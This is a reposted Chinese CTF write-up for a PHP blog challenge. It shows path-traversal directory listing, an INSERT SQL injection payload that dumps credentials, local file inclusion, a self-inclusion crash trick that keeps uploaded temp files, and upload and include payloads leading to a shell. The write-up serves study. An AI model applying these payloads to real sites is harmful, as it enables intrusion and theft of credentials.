php文件自包含的奇淫技巧

Posted 无级安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php文件自包含的奇淫技巧相关的知识,希望对你有一定的参考价值。

0x01前言

刷题的时候刚好看到一个比较厉害的phpinfo的利用姿势,原理不是很懂,题目来自百度杯12月第四场Blog进阶版

以下是writeup:

0x02解题过程

注册以后

发现了一个编辑器,网上搜索一番,编辑器可以列目录:

1http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/../../../../../../../tmp/

在提交的地方有注入,就是那种正常的insert注入:

以下是注入的过程:

1title=1a&content=1','4'),('a',(select group_concat(username,passwordfrom users ),'a
2admin
33177d917a0053c6161207e733c84356d(19-10-1997)
4

登录以后

可以文件包含,但是filter协议不能使用:

1http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=111

一个思路思路就是通过文件包含无限的包含自身,让PHP的调用栈清空,然后以post的方式提交一个文件,文件会保存在/tmp目录,这个时候通过编辑器路径查看的漏洞查看文件名之后 文件包含:

一下是payload:

 1<!DOCTYPE html>
2<html>
3<head>
4    <title>upload</title>
5</head>
6<body>
7    <form name = "uploadform" method="POST" enctype="multipart/form-data" action="http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php">
8    upload file2:<input type="file" name="file1" size="30"/>
9    <input type="submit" name="submit" value="submit">
10    </form>
11</body>
12</html>

上传如下代码:

1<?php phpinfo();?>

通过编辑器的漏洞查看文件名之后,可以看到临时文件的文件名称:

然后通过文件包含刚才上传的文件

通过phpinfo可以发现:

禁用了以下函数

1exec,passthru,shell_exec,assert,eval,glob,imageftbbox,bindtextdomain,mkdir,dir, system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket, imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile, ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,file_get_contents,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,unlink, pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority, pcntl_setpriority

那我们通过提交如下代码来获取flag

1<?php
2    highlight_file("/var/www/html/flag.php");
3?>

0x03 原理解读

以上就是一个全部的解题的过程,这个姿势很奇葩,原来都没有见过,过程不是很懂,去php文档里面查了查php文件上传的原理,了解了一下php的一些特性,感觉对php的的了解又深入了一点:

php的全局数组$_FILES中

1$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。

一般文件上传之前,php就保存在/tmp目录之下,然后后端的代码主要通过move_uploaded_file()函数来将缓存文件移动到新的目录中去,继续查阅php文档之后,我们会发现,php的临时文件名是php[0-9A-Za-z]{3,4} 上传完毕,程序继续执行之后,php的临时文件就会自动删除。

如果程序停止执行,php的临时文件就不会自动删除,那么如何才能防止其自动删除呢?

如wp所示,不停的自我包含,程序崩溃,这个时候php的自我保护机制为了让其从程序错误中恢复出来,就会清空自己的内存栈空间,缓存文件就不会删除了。

0x04     总结

了解了一种新的攻击方式,总结一下要完成这种攻击,需要的条件

  1. 存在文件包含漏洞

  2. 可以列目录

  3. 知道

攻击的流程

  1. php文件自我包含

  2. 文件上传

  3. 查看文件名称

  4. 包含上传的文件 getshell



以上是关于php文件自包含的奇淫技巧的主要内容,如果未能解决你的问题,请参考以下文章

教你一些 IDE 中比较骚的奇淫技巧!

教你一些IDE中比较骚的奇淫技巧!

实用工具快上车,程序狗好用的奇淫技巧

MATLAB | MATLAB中绘图的奇淫技巧合集

MATLAB | MATLAB中绘图的奇淫技巧合集

这几个Python的奇淫技巧,你会么?